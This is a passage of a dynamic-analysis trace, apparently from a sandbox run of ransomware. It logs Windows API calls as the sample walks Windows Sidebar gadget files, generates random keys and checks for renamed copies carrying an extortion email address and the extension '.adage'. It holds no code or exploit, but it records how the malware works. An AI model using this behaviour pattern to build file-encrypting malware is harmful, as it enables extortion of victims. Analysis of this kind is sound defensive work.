hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.267] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2963) returned 1 [0064.268] CloseHandle (hObject=0x1b0) returned 1 [0064.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-left.png")) returned 0x20 [0064.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-left.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-left.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.268] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-middle.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-middle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.269] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2885) returned 1 [0064.269] CloseHandle (hObject=0x1b0) returned 1 [0064.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-middle.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-middle.png")) returned 0x20 [0064.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-middle.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-middle.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-middle.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-middle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.269] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.270] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2979) returned 1 [0064.270] CloseHandle (hObject=0x1b0) returned 1 [0064.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-right.png")) returned 0x20 [0064.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-right.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-right.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.270] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.271] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=772) returned 1 [0064.271] CloseHandle (hObject=0x1b0) returned 1 [0064.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_down.png")) returned 0x20 [0064.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.272] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_over.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.272] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=696) returned 1 [0064.272] CloseHandle (hObject=0x1b0) returned 1 [0064.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_over.png")) returned 0x20 [0064.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_over.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_over.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.272] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_up.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.273] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=477) returned 1 [0064.273] CloseHandle (hObject=0x1b0) returned 1 [0064.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_up.png")) returned 0x20 [0064.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_up.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_up.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.274] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.274] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3268) returned 1 [0064.274] CloseHandle (hObject=0x1b0) returned 1 [0064.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_down.png")) returned 0x20 [0064.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.274] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_over.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.276] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3428) returned 1 [0064.276] CloseHandle (hObject=0x1b0) returned 1 [0064.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_over.png")) returned 0x20 [0064.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_over.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_over.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.276] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_up.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.277] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2929) returned 1 [0064.277] CloseHandle (hObject=0x1b0) returned 1 [0064.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_up.png")) returned 0x20 [0064.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_up.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.277] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\info.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.278] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=729) returned 1 [0064.278] CloseHandle (hObject=0x1b0) returned 1 [0064.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\info.png")) returned 0x20 [0064.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\info.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\info.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.279] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\row_over.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.279] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3034) returned 1 [0064.279] CloseHandle (hObject=0x1b0) returned 1 [0064.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\row_over.png")) returned 0x20 [0064.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\row_over.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\row_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.280] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\triangle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.280] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2831) returned 1 [0064.280] CloseHandle (hObject=0x1b0) returned 1 [0064.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\triangle.png")) returned 0x20 [0064.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\triangle.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\triangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.281] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\logo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.281] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5930) returned 1 [0064.281] CloseHandle (hObject=0x1b0) returned 1 [0064.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\logo.png")) returned 0x20 [0064.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\logo.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.282] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\flyout.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\flyout.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.283] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3860) returned 1 [0064.283] CloseHandle (hObject=0x1b0) returned 1 [0064.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\flyout.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\flyout.css")) returned 0x20 [0064.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\flyout.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\flyout.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\flyout.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\flyout.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.283] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\main.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\main.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.519] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6572) returned 1 [0064.519] CloseHandle (hObject=0x1ac) returned 1 [0064.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\main.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\main.css")) returned 0x20 [0064.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\main.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\main.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\main.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.520] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.035] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5204) returned 1 [0065.035] CloseHandle (hObject=0x180) returned 1 [0065.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\settings.css")) returned 0x20 [0065.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\settings.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.036] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0065.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\flyoutBack.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\flyoutback.png"), 